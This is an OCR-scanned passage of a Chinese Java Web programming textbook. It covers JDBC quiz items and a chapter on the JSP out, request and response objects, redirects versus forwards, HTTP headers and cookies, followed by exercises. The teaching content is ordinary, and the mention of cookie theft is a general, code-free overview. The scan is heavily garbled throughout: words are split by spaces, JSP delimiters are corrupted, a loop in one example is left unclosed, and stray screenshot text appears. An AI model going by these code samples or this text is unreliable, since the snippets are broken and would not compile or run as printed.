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A. Connection conn=DriverManager. getConnection( 
"jdbc:mysql://localhost:3306/SCHOOL", "root", "manager” ); 
B. Connection conn=DriverManager. getConnection( 
"jdbc:mysql://localhost:3306/SCHOOL"); 
. Connection conn=DriverManager. getConnection( 
"jdbc:mysql://localhost:1433/SCHOOL"); 


D. Connection conn=DriverManager. getConnection( 
"jdbc:mysql://localhost:1433/SCHOOL", "root", "manager"); 
8. 一 个 典型 的 JDBC 按照 (。””) 顺 序 编写 。 


J@D 指定 驱动 @ 获得 与 数据 的 连接 
@ 关闭 数据 库 连 接 @ 处 理 SQL 语句 的 运行 结果 
加 使 用 Statement 接口 运行 SQL 语句 
A. DOGOOO B. DOOOO C. DOOOO D. GOOOD 


9. 下 列 关 于 JDBC-ODBC 桥 的 说 法 中 错误 的 是 ( Na 
A. ODBC 几乎 可 以 支持 在 Windows 平台 下 运行 的 所 有 数据 库 
B. 由 ODBC 连接 到 特定 的 数据 库 之 后 ,JDBC 只 需要 连接 到 ODBC 就 可 以 了 
C. 通过 ODBC 就 可 以 连接 到 ODBC 支持 的 任意 一 种 数据 库 
D. ODBC 桥接 比较 简单 ,支持 所 有 操作 系统 上 的 数据 库 连接 
三 、 上 机 习题 
使 用 本 章 建 立 的 数据 表 完 成 以 下 习题 。 
1. 使 用 JDBC 连接 数据 库 查 询 学 生 数 据 并 显示 在 网 页 上 。 
2. 编写 一 个 网 页 ,能够 输入 学 生 姓名 的 模糊 资料 ,查询 ,能 够 显示 符合 条 件 的 学 生 的 相 
关 信息 。 
3. 编写 一 个 表单 ,提供 学 生 登 录 功 能 ,输入 学 生 学 号 和 姓名 ,如 果 匹 配 ,显示 “登录 成 
功 ”, 否 则 显示 “登录 失败 ”。 


JSP 内 置 对 象 (1) 


建议 学 时 : 2 
内 置 对 象 是 指 在 JSP 页 面 中 内 置 的 不 需要 定义 就 可 以 在 网 页 中 直接 使 用 的 对 象 。JSP 
规范 预定 义 了 内 置 对 象 的 原因 , 即 提高 程序 员 的 开发 效率 。 本 章 将 学 习 JSP 中 的 内 置 对 象 


OUt request 和 response。 


7.1 认识 JSP 内 置 对 象 


顾名思义 ,内 置 对 象 就 是 指 在 JSP 页 面 中 内 置 的 不 需要 定义 就 可 以 在 网 页 中 直接 使 用 
的 对 象 。 

为 什么 JSP 规范 要 预定 义 内 置 对 象 呢 ? 这 些 内 置 对 象 有 些 能 够 存储 参数 ,有 些 能 够 提 
供 输出 ,还 有 些 能 提供 其 他 的 功能 ,JSP 程序 员 使 用 这 些 内 置 对 象 的 频率 比较 高 ,为 了 增加 
程序 员 的 开发 效率 ,JSP 规范 预定 义 了 内 置 对 象 。 

内 置 对 象 的 特点 如 下 。 

(1) 内 置 对 象 是 自动 载 和 的 ,因此 它 不 需要 直接 实例 化 。 这 是 内 置 对 象 最 重要 的 特点 。 

(2) 内 置 对 象 是 通过 Web 容器 来 实现 和 管理 的 。 

(3) 在 所 有 的 JSP 页 面 中 ,直接 调用 内 置 对 象 都 是 合法 的 。 

在 JSP 规范 中 定义 了 9 种 内 置 对 象 ,下 面 一 一 列举 ,后 续 章 节 将 对 每 一 种 内 置 对 象 作 详 
细 的 讲解 。 

(1) out 对 象 : 负责 管理 对 客户 端的 输出 。 

(2) request 对 象 : 负责 得 到 客户 端的 请 求 信息 。 

(3) response 对 象 : 负责 向 客户 端 发 出 响应 。 

(4) session 对 象 : 负责 保存 同一 客户 端 一 次 会 话 过 程 中 的 一 些 信息 。 

(5) application 对 象 : 表示 整个 应 用 的 环境 信息 。 

(6) exception 对 象 : 表示 页 面 上 发 生 的 异常 ,可 以 通过 它 获 得 页 面 异常 信息 。 

(7) page 对 象 : 表示 的 是 当前 JSP 页 面 本 身 , 就 像 Java 类 定义 中 的 this 一 样 。 

(8) pageContext 对 象 : 表示 的 是 此 JSP 的 上 下 文 。 

(9) config 对 象 : 表示 此 JSP 的 ServletConfig。 

本 章 以 及 下 一 章 将 主要 介绍 out、request、response、session 和 application 对 象 , 因 为 它 
们 的 使 用 频率 要 高 一 些 。 
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7.2 out 对 象 


out 对 象 在 前 面 的 章节 中 经 常用 到 ,总 结 起 来 它 的 作用 如 下 。 

(1) 用 来 向 客户 端 输出 各 种 数据 类 型 的 内 容 。 

(2) 对 应 用 服务 器 上 的 输出 缓冲 区 进行 管理 。 

一 般 情况 下 ,out 对 象 都 是 向 浏览 器 端 输出 文本 型 的 数据 ,所 以 可 以 用 out 对 象 直接 编 
程 生成 一 个 动态 的 HTML 文件 ,然后 发 送 给 浏览 器 ,达到 显示 的 目的 。 

利用 out 输出 主要 有 下 列 两 个 方法 。 

(1) void printO)。 

(2) void println()。 

两 者 的 区 别 是 out. print0 函 数 在 输出 完毕 后 并 不 换行 ,out. println() 函 数 在 输出 完毕 后 
会 结束 当前 行 ,下 一 个 输出 语句 将 会 在 下 一 行 开 始 输出 。 

不 过 ,在 输出 中 换行 ,在 网 页 上 并 不 会 换行 。 在 网 页 上 换行 应 该 打印 字符 串 "< br >"。 

out 对 象 还 可 以 实现 对 应 用 服务 器 上 的 输出 缓冲 区 的 管理 。 以 下 是 out 对 象 常用 的 与 
管理 缓冲 区 有 关 的 函数 。 

(1) void close0: 关闭 输出 流 , 从 而 强制 终止 当前 页 面 的 剩余 部 分 向 浏览 器 输出 。 

(2) void clearBufferO: 清除 缓冲 区 里 的 数据 ,并 且 把 数据 写 到 客户 端 去 。 

(3) void clear(): 清除 缓冲 区 里 的 数据 ,但 不 把 数据 写 到 客户 端 去 。 

(4) int getRemaining0: 获取 缓冲 区 中 没有 被 占用 的 空间 的 大 小 。 

(5) void flush0: 输出 缓冲 区 的 数据 。out. flush0 函 数 也 会 清除 缓冲 区 中 的 数据 ,但 是 
该 函数 先 将 之 前 缓冲 区 中 的 数据 输出 到 客户 端 ,然后 再 清除 缓冲 区 中 的 数据 。 

(6) int getBufferSize(): 获得 缓冲 区 的 大 小 。 

out 管理 缓冲 区 使 用 得 比较 少 ,因为 通常 使 用 服务 器 端 默认 的 设置 ,而 不 需要 手动 
管理 。 


= 


7.3 request 对 象 


request 代表 了 客户 端的 请 求 信息 ,主要 是 用 来 获取 客户 端的 参数 和 流 , 它 对 应 的 类 型 
是 javax. servlet. http. HttpServletRequest。 该 对 象 在 前 面 的 章节 中 用 到 ,例如 URL 传 值 、 
表单 开发 中 。 

request 的 一 个 主要 用 途 就 是 它 能 够 获取 客户 端的 基本 信息 ,主要 有 以 下 几 种 方法 。 

(1) String getMethod0O: 得 到 提交 方式 。 

(2) String getRequestURIO: 得 到 请 求 的 URL 地 址 。 

(3) String getProtocol0: 得 到 协议 名 称 。 

(4) String getServletPathQ: 获得 客户 端 请 求 服务 器 文件 的 路 径 。 

(5) String getQueryString(): 得 到 URL 的 查询 部 分 ,对 于 post 来 说 ,该 方法 得 不 到 任 
何 信 息 。 


114 
Java Web 程序 设计 (第 3 版 )- 微 课 视频 版 


(6) String getServerName(); 得 到 服务 器 的 名 称 。 

(7) String getServerPortO: 得 到 服务 器 端口 号 。 

(8) String getRemoteAddr(): 得 到 客户 端的 IP 地 址 。 

在 MyEclipse 中 建立 项 目 Prj07, 用 requestTest. jsp 程序 来 测试 request 对 象 的 实际 作 
用 ,代码 如 下 。 


requestTest. jsp 


<% @ page language = "java" pageEncoding = "gb2312" %> 
<html> 
<body> 
提交 方式 : <%= request. getMethod() %><br> 
请 求 的 URL 地 址 : <%= request. getRequestURI() %><br> 
协议 名 称 : <% = request. getProtocol() %><br> 
客户 端 请 求 服务 器 文件 的 路 径 : <%= request. getServletPath() %><br> 
URL 的 查询 部 分 : <% = request. getQueryString() %><br> 
服务 器 的 名 称 : <%= request. getServerName() %><br> 
服务 器 端口 号 : <%= request. getServerPort() %><br> 
远程 客户 端的 IP 地 址 : <% = request. getRemoteAddr()%><br> 
</body> 
</html > 


在 浏览 器 的 地 址 栏 中 输入 “http://localhost:8080/Prj07/requestTest. jsp?7a=1&.b=3”， 
运行 结果 如 图 7-1 所 示 。 

特别 提醒 : 直接 访问 URL 属于 以 GET 方 。” 提交 方式 : GET 

本 a 求 的 URL 地 址 : /Prj07/requestTest. jsp 

式 提交 ,实际 上 通过 链接 方式 请 求 也 是 GET 方 ” 协 议 名 称 : HTTP/1.1 
式 。 在 本 例 中 “a=18.b=3” 是 进行 的 一 个 测试 。 二 ia 开 有 务 中 文件 的 路 公 : /romestTest. jsp 

有 趣 的 是 ,获取 客户 端的 信息 有 时 候 可 以 实 。 炭 务 训 多多: 35375001 

一 些 特定 的 功能 。 比 如 , getRemoteAddr() 丽 ， 远程 宫 户 庙 的 TP 地 址 ; 127. 0.0.1 

数 可 以 核定 客户 的 IP 地 址 。 假 设 在 学 生 管理 系 7-1 用 request 对 象 获取 客户 端 基 本 信息 
统 中 出 现 了 以 下 情况 : 有 一 部 分 信誉 不 好 的 客户 
已 经 存在 于 黑 名 单 中 。 系 统 想 禁止 这 部 分 客户 来 访问 ,甚至 不 让 他 们 访问 网 站 ,怎么 办 呢 ? 

很 简单 ,首先 应 该 获取 客户 的 IP 地 址 ,然后 从 黑 名单 中 寻找 ,如 果 此 客户 的 IP 在 黑 名 
单 中 找到 了 ,就 提示 该 客户 “您 是 一 个 非法 客户 ”。 

在 前 面 已 经 讲 过 ,request 对 象 还 可 以 获得 客户 端的 参数 ,其 常用 的 两 个 方法 如 下 。 

(1) String getParameter(String name): 获得 客户 端 传送 给 服务 器 的 name 参数 的 值 。 
当 传送 给 此 函数 的 参数 名 没有 实际 参数 与 之 对 应 时 返回 null。 

(2) String[] getParameterValues(String name): 以 字符 串 数组 的 形式 返回 指定 参数 的 
所 有 值 。 


7.4 response 对 象 


response 和 request 是 一 组 相对 应 的 内 置 对 象 ,response 可 以 理解 为 客户 端的 响应 
iequest 可 以 理解 为 客户 端的 请 求 ,二 者 所 表示 的 范围 是 相对 应 的 两 个 部 分 ,具有 很 好 的 对 
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称 性 。response 对 应 的 类 (接口 ) 是 javax. servlet. http. HttpServletResponse, 用 户 可 以 通 
过 查找 文档 中 的 javax. servlet. http. HttpServletResponse 来 了 解 response 的 API。 


7.4.1 利用 response 对 象 进行 重 定向 
重 定向 就 是 跳 转 到 另 一 个 页 面 , 可 以 用 response 对 象 进行 重 定向 ,方法 如 下 。 


response. sendRedirect( 目 标 页 面 路 径 ); 


前 面 已 经 讲 到 , 重 定向 是 Web 应 用 中 使 用 非常 广泛 的 一 种 处 理 方式 ,也 就 是 可 以 实现 
程序 的 跳 转 。 

本 节 首 先 实现 一 个 简单 的 response. sendRedirect() 的 重 定 向 例子 。responseTestl. jsp 
是 该 例 的 首页 ,代码 如 下 。 


responseTest1. jsp 


<%@ page language = "java" import = "java.util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
< form action = "responseTest2. jsp"> 
< input type= "submit" value = "提交 "> 


</form> 
</body> 
</html > 
运行 该 页 面 ,效果 如 图 7-2 所 示 。 
单 击 “ 提 交 ” 按 钮 提交 到 responseTest2. jsp, 代 码 如 下 。 生生 


responseTest2. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
< html > 
<body> 
< 和 
response. sendRedirect("responseTest3. jsp"); // 相 对 路 径 

%> 
</body> 
</html > 


但 是 在 该 页 面 中 又 跳 转 到 responseTest3.jsp ,代码 如 下 。 


responseTest3. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
欢迎 来 到 学 生 管 理 系 统 !!! 
</body > 
</html > 
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因此 ,最 后 的 结果 如 图 7-3 所 示 ,直接 从 responseTest2. jsp 跳 转 到 了 responseTest3. 
jsp 页 面 了 。 

吕 同和 欢迎 来 到 学 生 管理 系统 !14 

问 : 在 responseTest2.jsp 页 面 中 可 否 用 绝对 路 径 ? 7.3 结果 页 面 

答 : 可 以 ,不 过 要 将 完整 的 虚拟 路 径 写 上 。 


response. sendRedirect("/Prj07/responseTest3. jsp") ; // 绝 对 路 径 


实际 上 重 定向 方法 主要 有 两 种 ,除了 前 面 讲 到 的 response. sendRedirectO 之 外 还 有 JSP 
动作 指令 。 


< jsp:forward page = ""></jsp:forward> 


上 面 的 例子 只 需 把 responseTest2.jsp 中 的 代码 改 为 如 下 即 可 。 


< jsp:forward page = "responseTest3. jsp"></jsp:forward> 


使 用 这 两 种 方法 跳 转 具有 很 大 的 不 同 ,用 户 可 以 从 以 下 几 个 方面 来 区 别 。 

1. 从 浏览 器 的 地 址 显示 上 来 看 

forward 方法 属于 服务 器 端 去 请 求 资源 ,服务 器 直接 访问 目标 地 址 ,并 对 该 目标 地 址 的 
响应 内 容 进 行 读 取 , 再 把 读 取 的 内 容 发 给 浏览 器 ,因此 客户 端 浏览 器 的 地 址 不 变 。 

redirect 是 告诉 客户 端 ,使 浏览 器 知道 去 请 求 哪 一 个 地 址 ,相当 于 客户 端 重 新 请 求 一 
遍 ,所 以 地 址 显示 栏 会 变 。 

例如 在 上 面 的 例子 中 ,如 果 用 redirect 方法 跳 转 ,浏览 器 的 地 址 栏 如 图 7-4 所 示 ; 而 如 
果 用 forward 指令 ,地 址 栏 如 图 7-5 所 示 。 


罗 http://127.0.0.1:8080/Prj07/responseTest3jsp -| http://127.0,0.1:8080/Prj07/responseTest2jsp ~ 


图 7-4 redirect 方法 跳 转 图 图 7-5 forward 方法 跳 转 图 


2. 从 数据 共享 来 看 

forward 转发 的 页 以 及 转发 到 的 目标 页 面 能 够 共享 request 里 面 的 数据 ,而 redirect 转 
发 的 页 以 及 转发 到 的 目标 页 面 不 能 共享 request 里 面 的 数据 。 

下 面 举例 子 说 明 。 输 入 学 生 姓 名 ,查询 其 资料 , 单 击 * 查 询 ? 按 钮 后 提交 到 页 面 2, 页 面 2 
跳 转 到 页 面 3, 首 先 用 : 


< jsp:forward page = ""></jsp:forward> 


来 实现 ,代码 如 responseTest4. jsp 所 示 。 


responseTest4. jsp 


<% @ page language = "java" import = "java. util. *" pageEncoding = "gb2312" %> 
<html> 
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<body> 
< form action= "responseTest5. jsp"> 
输入 学 生 姓名 : < input type = "text" name = "stuname" > 
< input type = "submit”value = "查询 "> 
</form> 
</body> 
</html > 


其 运行 效果 如 图 7-6 所 示 。 
输入 一 个 姓名 ,例如 “Rose”, 单 击 “ 查 询 ” 按 钮 提交 到 responseTest5. jsp, 代 码 如 下 。 


responseTests. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312" %> 
<html> 
<body> 
< jsp:forward page = "responseTest6. jsp"></jsp:forward> 
</body> 
</html > 


该 页 面 跳 转 到 responseTest6. jsp, 代 码 如 下 。 


responseTest6. jsp 


<% @ page language = "java" import = "java. util. * " pageEncoding = "gb2312"%> 
<html> 
<body> 
<% 
out. println(" 输 入 学 生 姓 名 是 : " + request. getParameter("stuname") + "< br >"); 
%> 
</body> 
</html > 


此 时 得 到 的 效果 如 图 7-7 所 示 。 
输入 学 生 姓 名 ， 输入 学 生 姓 名 是 : Rose 
图 7-6 查询 页 面 图 7-7 结果 页 面 


上 面 的 例子 通过 forward 动作 得 到 了 输入 的 参数 内 容 。 下 面 用 sendRedirectO 实 现 , 只 
需要 把 responseTest5.jsp 页 面 改 成 如 下 内 容 。 


<%@ page language = "java" import = "java. util. * ”pageEncoding = "gb2312" %> 
<html> 
<body> 
< 和 
response. sendRedirect("responseTest6. jsp" ); 
先 > 
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</body> 
</html > 


此 时 再 单 击 “ 查 询 ” 按 钮 ,得 到 的 结果 如 图 7-8 所 示 。 

responseTest6. jsp 页 面 已 经 得 不 到 responseTest4. jsp 输入 学 生 姓名 是 ，null 
页 面 设 定 的 值 ,这 是 因为 sendRedirect() 方 法 不 能 共享 转发 的 
页 中 request 内 的 数据 。 

3. 从 功能 来 看 

redirect 能 够 重 定向 到 当前 应 用 程序 的 其 他 资源 ,还 能 够 重 定向 到 同一 个 站 点 上 的 其 
他 应 用 程序 中 的 资源 ,甚至 是 使 用 绝对 URL 重 定向 到 其 他 站 点 的 资源 。 例 如 可 以 通过 该 
方法 跳 转 到 百度 页 面 。 


图 7-8 结果 页 面 


<% 
response. sendRedirect("https://www. baidu. com"); 
%> 


forward 方法 只 能 在 同一 个 Web 应 用 程序 内 的 资源 之 间 转 发 请 求 , 可 以 理解 为 服务 器 
内 部 的 一 种 操作 。 以 下 代码 运行 时 报错 。 


< jsp:forward page = "https://www. baidu. com"></jsp:forward> 


4. 从 效率 来 看 

forward 的 效率 较 高 ,因为 跳 转 仅 发 生 在 服务 器 端 ; redirect 的 效率 相对 较 低 ,因为 相当 
于 又 进行 了 一 次 请 求 。 

特别 提醒 : sendError() 也 是 进行 跳 转 , 它 的 作用 是 向 客户 端 发 送 HTTP 状态 码 的 出 错 
信息 ,代码 如 下 。 


responseError. jsp 


<% 
response. sendError(404); 
%> 


运行 该 页 面 ,效果 如 图 7-9 所 示 。 


当然 ,向 客户 端 发 送 这 种 客户 看 不 懂 的 错误 代码 是 不 专 
业 的 ,所 以 sendErrorO 使 用 的 频率 并 不 是 很 高 。 常 见 的 错误 
代码 如 下 。 

。 400: Bad Request, 请 求 出 现 语法 错误 。 

。 401: Unauthorized ,客户 试图 未 经 授权 访问 受 密码 保护 的 页 面 。 

。 403: Forbidden ,资源 不 可 用 。 

。 404: Not Found, 无 法 找到 指定 位 置 的 资源 。 

。 500: Internal Server Error, 服 务 器 遇 到 了 无 法 预料 的 情况 ,不 能 完成 客户 的 请 求 。 


图 7-9 404 错误 
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7.4.2 利用 response 设置 HTTP 头 


HTTP 头 一 般 用 来 设置 网 页 的 基本 属性 ,可 以 通过 response 的 setHeader0 方 法 进行 设 
置 ,代码 如 下 。 


汉 
response. setHeader( "Pragma", "No — cache" ) ; 
response. setHeader("Cache - Control", "no — cache" ); 
response. setDateHeader( "Expires", 0); 
先 > 


这 都 表示 在 客户 端 缓存 中 不 保存 页 面 的 副本 。 另 外 ,如 下 代码 表示 客户 端 浏 览 器 每 隔 
5 秒 钟 定期 刷新 一 次 。 


response. setHeader( "Refresh", "5"); 


7.5 ”Cookie 操作 


前 面 的 章节 讲 过 HTTP 是 无 状态 的 协议 ,在 页 面 之 间 传 递 值 时 必须 通过 服务 器 ,使 用 
URL 传 值 方法 .隐藏 表单 方法 都 可 以 实现 。 

这 里 仍 以 4.6 节 中 的 例子 为 例 。 在 页 面 1 中 定义 了 一 个 数值 变量 ,并 显示 其 平方 ,要 求 
在 页 面 2 中 显示 其 立方 。 很 明显 ,页 面 2 必须 知道 页 面 1 中 定义 的 那个 变量 。 用 户 可 以 用 
URL 传 值 ,但 是 通过 URL 传 值 方法 传递 的 数据 可 能 被 看 到 ; 也 可 以 用 隐藏 表单 ,但 是 传递 
的 值 会 在 客户 端 源 代码 内 被 看 见 。 本 节 介 绍 男 一 种 方法 一 一 Cookie。 

在 页 面 之 间 传 递 数据 的 过 程 中 ,Cookie 是 一 种 常见 的 方法 。Cookie 是 一 个 小 的 文本 数 
据 , 由 服务 器 端 生成 ,发 送 给 客户 端 浏览 器 ,如 果 客 户 端 浏览 器 设置 为 启用 Cookie, 则 会 将 
这 个 小 文本 数据 保存 到 某 个 目录 下 的 文本 文件 内 。 下 次 登录 同一 个 网 站 ,客户 端 浏 览 器 会 
自动 将 Cookie 读 入 之 后 传 给 服务 器 端 。 在 一 般 情况 下 ,Cookie 中 的 值 是 以 key-value 的 形 
式 进行 表达 的 。 

基于 这 个 原理 ,上 面 的 例子 可 以 用 Cookie 来 进行 。 即 在 第 1 个 页 面 中 将 要 共享 的 变量 
值 保 存在 客户 端 Cookie 文件 内 ,在 客户 端 访 问 第 2 个 页 面 时 ,由 于 浏览 器 自动 将 Cookie 读 
入 之 后 传 给 服务 器 端 ,所 以 只 需要 第 2 个 页 面 读 取 这 个 Cookie 值 即 可 。 
在 写 Cookie 时 主要 用 到 以 下 几 个 方法 。 

(1) response. addCookie(Cookie c): 通过 该 方法 将 Cookie 写 入 客户 端 。 

(2) Cookie. setMaxAgelint second): 通过 该 方法 设置 Cookie 的 存活 时 间 ,参数 表示 存 
活 的 秒 数 。 

从 客户 端 获 取 Cookie 内 容 主要 通过 Cookie[ jrequest. getCookies() 访 法 , 它 读 取 客户 端 
传 过 来 的 Cookie, 以 数组 形式 返回 。 

在 读 取 数 组 之 后 一 般 需要 进行 遍历 。 

下 面 实现 前 面 的 功能 。 页 面 1 的 代码 如 cookieP1. jsp 所 示 。 
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cookieP1. jsp 


< 外 @ page language = "java" import = "java. util. * ”pageEncoding = "gb2312" %> 
<% 
// 定 义 一 个 变量 
String str= "12"; 
int number = Integer. parseInt (str); 
先 > 
该 数字 的 平方 为 : <%= number x number $%>< hr> 
<% 
// 将 str 存 人 Cookie 
Cookie cookie = new Cookie( "number", str); 
// 设 置 Cookie 的 存活 期 为 600 秒 
cookie. setMaxAge(600); 
// 将 Cookie 保存 于 客户 端 
response. addCookie( cookie); 
先 > 
<a href = "cookieP2. jsp"> 到 达 p2 </a> 


运行 ,显示 结果 如 图 7-10 所 示 。 
在 页 面 上 有 一 个 链接 到 达 cookieP2. jsp, 其 代码 如 下 。 


cookieP2. jsp 


<%@ page language = "java" import = "java.util. *" pageEncoding = "gb2312" %> 
<% 
// 从 Cookie 获得 number 
String str = null; 
Cookie[ ] cookies = request. getCookies( ); 
for(int i=0;i<cookies. length;i++){ 
if(cookies[i].getName().equals("number")){ 
str = cookies[i].getValue(); 
break; 
上 
int number = Integer. parseInt(str); 
%> 
该 数字 的 立方 为 : <%= number * number * number %><hr> 


单 击 cookieP1. jsp 中 的 链接 到 达 cookieP2. jsp, 效 果 如 图 7-11 所 示 ,得 到 同样 的 结果 。 
该 数字 的 平方 为 ，144 
到 2 该 数字 的 


图 7-10 ”cookieP1. jsp 显示 结果 图 7-11 cookieP2. jsp 显示 结果 


在 客户 端的 浏览 器 上 看 不 到 任何 与 传递 的 值 相关 的 信息 。 

但 是 即便 如 此 也 不 能 说 Cookie 是 安全 的 ,因为 客户 端 存储 的 Cookie 文件 可 以 被 别人 
获知 。 在 本 例 中 ,内 容 被 保存 于 Cookie 文件 。 在 不 同 的 计算 机 中 ,Cookie 文件 的 存储 路 径 
不 同 ,本 书 作 者 使 用 的 是 Windows 7 操作 系统 ,C 盘 作 为 系统 盘 ,该 文件 保存 在 “C:\Users\ 
用 户 名 \AppData\Roaming\Microsoft\Windows\Cookies\Low” 下 。 打 开 该 目录 ,用 户 可 以 
看 到 里 面 有 一 个 文件 ,如 图 7-12 所 示 。 
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包 会 到 库 中 ” 共享" 刻录。 新建 文件 去 


名 称 
曾 @n@l127.0001]bd 


7-12 文件 位 置 
打开 该 文本 文件 ,内 容 如 图 7-13 所 示 。 


国 fon@127.00[04 -让 we 1 
文件 (有 ] ”编辑 (E) 格式 (O) 查看 (V) 帮助 (H) 
humber12127. 0. 0. 1/Prj07/1536165871577630515494425205036830515492# 


图 7-13 文件 内 容 


number 的 值 12 可 以 被 很 清楚 地 找到 。 

很 明显 ,Cookie 并 不 是 绝对 安全 的 。 如 果 将 用 户 名 、 密 码 等 敏感 信息 保存 在 Cookie 
内 ,这 些 信 息 容易 泄露 ,因此 Cookie 在 保存 敏感 信息 方面 具有 潜在 的 危险 。 不 过 ,用 户 可 以 
很 清楚 地 看 到 Cookie 的 危险 性 来 源 于 Cookie 被 盗 取 。 目 前 盗 取 的 方法 有 下 面 几 种 。 

(1) 利用 跨 站 脚本 技术 (有 关 跨 站 脚本 技术 ,在 后 面 将 会 介绍 ) ,并 将 信息 发 送 给 目标 服 
务 器 。 为 了 隐藏 URL, 甚 至 可 以 结合 AJAX( 异 步 JavaScript 和 XML 技术 ) 在 后 台 窃 取 
Cookie。 

(2) 通过 某 些 软件 窃取 硬盘 下 的 Cookie。 一 般 来 说 ,在 用 户 访问 完 某 站 点 后 ,Cookie 
文件 会 存在 于 计算 机 的 某 个 文件 夹 (例如 “C:/Documents and Settings/ 用 户 名 ”的 Cookies 
文件 夹 ) 下 ,因此 可 以 通过 某 些 盗 取 和 分 析 软 件 来 盗 取 Cookie, 具 体 步骤 如 下 。 

@ 利用 资 取 软 件 分 析 系 统 中 的 Cookie 列 出 用 户 访问 过 的 网 站 。 

@ 在 这 些 网 站 中 寻找 攻击 者 感 兴趣 的 网 站 。 

@ 从 该 网 站 的 Cookie 中 获取 相应 的 信息 。 

不 同 的 软件 有 不 同 的 实现 方法 ,有 兴趣 的 读者 可 以 在 网 上 搜索 相应 的 软件 。 

不 过 ,以 上 问题 不 代表 Cookie 没有 任何 用 处 ,Cookie 在 Web 编程 中 的 应 用 还 是 很 广 
的 ,主要 体现 在 以 下 几 个 方面 。 

(1) Cookie 的 值 能 够 持久 化 ,即使 客户 端 计算 机 关闭 ,下 次 打开 仍然 可 以 得 到 里 面 的 
值 。 因 此 ,Cookie 可 以 用 来 减轻 用 户 的 一 些 验证 工作 的 输入 负担 ,比如 用 户 名 和 密码 的 输 
入 ,可 以 在 第 一 次 登录 成 功 之 后 将 用 户 名 和 密码 保存 在 客户 端 Cookie( 当然 这 不 安全 )。 当 
然 , 对 于 一 些 安全 要 求 不 高 的 网 站 ,Cookie 还 是 大 有 用 武之 地 的 。 

(2) Cookie 可 以 帮助 服务 器 端 保存 多 个 状态 信息 ,但 是 不 用 服务 器 端 专门 分 配 存 储 资 
源 。 比 如 网 上 商店 中 的 购物 车 ,必须 将 物品 和 具体 客户 名 称 绑 定 ,但 是 放 在 服务 器 端 又 需要 
占据 大 量 的 资源 ,此 时 可 以 用 Cookie 来 实现 。 

(3) Cookie 可 以 持久 保持 一 些 和 客户 相关 的 信息 。 例 如 在 很 多 网 站 上 ,客户 可 以 自主 
设计 自己 的 个 性 化 主页 ,其 作用 是 避免 客户 每 次 自己 去 找 自 己 喜 爱 的 内 容 , 在 设计 好 之 后 ， 
下 次 打开 该 网 址 ,主页 上 显示 的 就 是 客户 设置 好 的 界面 。 如 果 这 些 设置 信息 保存 在 服务 器 
端 ,会 消耗 服务 器 端的 资源 ,因此 可 以 将 客户 的 个 性 化 设置 保存 在 Cookie 内 ,每 一 次 访问 该 
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样 的 界面 。 


解决 Cookie 安全 的 方法 有 很 多 ,常见 以 下 几 种 。 


(1) 替代 Cookie, 将 数据 保存 在 服务 器 端 , 可 选 session 方案 。 


主页 ,客户 端 将 Cookie 发 送 给 服务 器 端 , 服 务 器 根据 Cookie 的 值 来 决定 给 客户 端 显示 什么 


(2) 及 时 删除 Cookie。 删 除 一 个 已 经 存在 的 Cookie 有 以 下 几 种 方法 。 


@ 给 一 个 Cookie 赋 空 值 。 


@ 设置 Cookie 的 失效 时 间 为 当前 时 间 ,让 该 Cookie 在 当前 页 面 浏 览 完 之 后 就 被 删除 。 
加 通过 浏览 器 删除 Cookie。 例 如 在 正 浏览 器 中 ,选择 菜单 命令 “工具 ”| “Internet 选项 ”， 
在 弹出 的 对 话 框 中 单 击 * 删 除 ? 按 钮 ,就 可 以 选择 删除 文件 夹 中 的 Cookie, 如 图 7-14 所 示 。 


主页 
使 若 要 他 | 建 主页 选项 卡 ， 请 在 各 地 址 行人 


br Internet 临时 文件 ， 可 以 使 您 收藏 的 网 站 能 够 保 


aboutblank 


7-14 删除 Cookie 
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i 


CE TD) 
浏 中 了 史记 录 卫 纤 铺 在 计算 机 上 的 文件 ， 以 保存 如 登录 信息 等 首选 项 。 
全 i 回 下 让 
国明 出 时 [人 济 上 历史 记录 0) odsAS 起 
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@ 禁用 Cookie。 在 很 多 浏览 器 中 设置 了 禁用 Cookie 的 方法 ,例如 在 IE 浏览 器 中 ,可 
以 选择 菜单 命令 “工具 ”|“Internet 选项 *, 将 弹出 的 对 话 框 切换 至 “隐私 ?选项 卡 , 在 其 中 将 


隐私 级 别 设置 为 禁用 Cookie, 如 图 7-15 所 示 。 


F 


Internet 选项 


| Be wh la 


设置 
| 思 | 选择 Internet 区 域 设置 


阻止 所 有 Cookie 
2 到 二 i 
LS) | Dad 攻 间 级 o 黑 认 值 m) | 


图 7-15 禁用 Cookie 


7.6 本 章 小 结 


本 章 讲 解 了 JSP 中 的 内 置 对 象 out request 和 response, 并 结合 request 和 response 介 


绍 了 Cookie 的 使 用 方法 。 
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7.7 课 后 习题 


一 、 填空 题 

1. 在 JSP 页 面 中 不 需要 定义 就 可 以 直接 使 用 的 对 象 叫 

2. 在 JSP 的 内 置 对 象 中 ， 对 象 负责 管理 对 客户 端的 输出 ,主要 有 两 种 输出 方 
法 ,分 别 是 和 

3. out 对 象 的 方法 可 以 强制 终止 当前 页 面 的 剩余 部 分 向 浏览 器 输出 。 

4. request 对 象 对 应 的 类 型 是 中 

5. 负责 得 到 客户 端 请 求 的 内 置 对 象 是 ,负责 向 客户 端 发 出 响应 的 内 置 对 象 
是 

6. 用 response 进行 重 定向 的 方法 是 可 

7. response 的 方法 用 于 向 客户 端 发 送 HTTP 状态 码 的 出 错 信息 。 

8. Cookie 是 一 个 小 的 ,由 产生 ,发 送 给 

9. 在 一 般 情况 下 ,Cookie 中 的 值 是 以 的 形式 进行 表达 的 。 

10. 将 Cookie 写 人 客户 端的 response 对 象 的 方法 为 a 

-、 选 择 题 


1. 下 列 关 于 内 置 对 象 的 说 法 错误 的 是 ( 
A. 在 所 有 的 JSP 页 面 中 ,直接 调用 内 置 对 象 都 是 合法 的 
B. 内 置 对 象 是 通过 Web 容器 来 实现 和 管理 的 
C. 内 置 对 象 是 自动 载 和 的 ,因此 不 需要 直接 实例 化 
D. 在 JSP 规范 中 定义 了 4 种 内 置 对 象 
2. 下 列 内 置 对 象 中 用 来 表示 页 面 上 发 生 异 常 的 是 ( 四 
A. application B. exception C. page D. config 
3. 在 out 对 象 管理 缓冲 区 的 方法 中 ,用 来 清除 缓冲 区 里 的 数据 ,但 不 把 数据 写 人 客户 
端的 是 (  )。 


A. void closeO B. void clearO 
